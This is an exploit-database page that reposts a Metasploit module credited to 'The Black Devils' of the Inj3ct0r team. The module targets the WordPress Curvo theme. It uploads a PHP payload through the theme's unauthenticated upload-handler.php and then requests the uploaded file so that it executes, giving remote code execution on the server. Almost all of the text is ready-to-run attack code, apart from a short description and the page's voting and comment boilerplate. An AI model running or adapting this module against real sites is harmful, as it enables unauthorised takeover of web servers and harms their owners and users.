WordPress Curvo Themes - Arbitrary code execution

2013.11.12
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# # _ __ __ __ # # /' \ __ /'__`\ /\ \__ /'__`\ # # /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ # # \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ # # \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ # # \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ # # \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ # # \ \____/ >> Exploit database separated by exploit # # \/___/ type (local, remote, DoS, etc.) # # # # [+] Site : 1337day.com # # [+] Support e-mail : submit[at]1337day.com # # # # ######################################### # # I'm The Black Devils member from Inj3ct0r Team # # ######################################### # #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-# ## # This Exploit must be use in Metasploit Framework # http://metasploit.com/framework/ # This module created by The Black Devils 1337day team ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Curvo Themes - Arbitrary code execution', 'Description' => %q{ This module exploits a vulnerability found in Wp Theme curvo By abusing the upload-handler.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' => [ 'Byakuya Kouta', # initial discovery 'The Black Devils', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ '1337day', '21458' ], [ 'EDB', '29211'], ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to wordpress', '/wp']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}wp-content/themes/curvo/functions/upload-handler.php" }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Appears end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true) data = Rex::MIME::Message.new data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") data.add_part("#{uri}public/js/uploadify", nil, nil, "form-data; name=\"folder\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-content/themes/curvo/functions/upload-handler.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res or res.code != 200 or res.body !~ /#{@payload_name}/ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = res.body print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_raw({ 'uri' => upload_uri, 'method' => 'GET' }) end end

References:

http://metasploit.com/framework/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top